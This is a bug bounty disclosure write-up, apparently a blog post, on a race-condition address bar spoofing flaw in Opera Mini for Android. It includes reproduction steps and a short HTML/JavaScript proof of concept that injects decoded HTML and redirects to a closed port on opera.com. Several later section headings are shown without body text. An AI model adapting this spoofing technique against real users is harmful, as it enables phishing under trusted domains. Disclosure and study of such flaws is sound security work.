Full Address Bar Spoofing On Opera Mini Android
Patience is indeed* a virtue — bug bounty
I found a race condition flaw which caused browser to preserve the address bar and to load the content from the spoofed page. Address bar spoofing allows for attacks where a malicious page can spoof the identify of another site.
Summary
During my testing, it was observed that the browser allowed JavaScript to update the address bar while the page was still loading. Upon requesting data from a non-existent port the address was preserved and hence a due to race condition over a resource requested from non-existent port combined with the delay induced by setInterval
function managed to trigger address bar spoofing. It causes browser to preserve the address bar and to load the content from the spoofed page.
Impact
Opera Mini Android is installed on more than 500,000,000+ devices. The vulnerability gives attackers the ability to steal data using phishing or spread misinformation using legitimate domains.
Most Address Bar Spoofing vulnerabilities are not very practical but this vulnerability not only spoofs the address bar, but also makes the spoofed web-page completely responsive so the attack becomes practical.
Expected behavior
The browser should handle load events in expected order when JS redirects page before sub-resource load finishes.
[1] https://bugs.webkit.org/show_bug.cgi?id=194131
[2] https://bugs.webkit.org/show_bug.cgi?id=194208
Reproducibility
1) Visit the following link for the vulnerable browser — https://0x48piraj.com/--REDACTED--/operafabs.html
2) You will notice that the URL is pointing to https://www.opera.com:8080/, however the content is hosted on 0x48piraj.com.
The Great Plot
So, it all started when I got a reply from Opera Software saying,
The Proof of Concept
Before redirecting the user to the website with the closed port, I decoded the base64 encoded version of my evil page, and then added it to the DOM. I managed to keep the spoofed address stable by using the setinterval() function.
<html>
<title>Not Opera</title>
<body>
<script>
function spoof()
{
var data = 'PGh0bWw+PGJvZHk+PGgxIGFsaWduPSJjZW50ZXIiPlRoaXMgaXMgZGVmaW5pdGVseSBub3QgT3BlcmEuPC9oMT48L2JvZHk+PC9odG1sPg=='; // base64 encoded html content
document.body.innerHTML=atob(data);
window.location.assign("https://www.opera.com:8080");
}
setInterval(spoof(),100000);
</script>
</script>
</body>
</html>
The payload is <html><body><h1 align=”center”>This is definitely not Opera.</h1></body></html>.
Validation or say, “Oh my god, I really found a valid bug, I can’t believe it!” moment
The “arm-twisting”
I ❤ Opera‘s Responsiveness
Finally! The bug fix moment
Aftermaths & The End
The Hall of Fame
Ho Ho Ho ..Merry Christmas!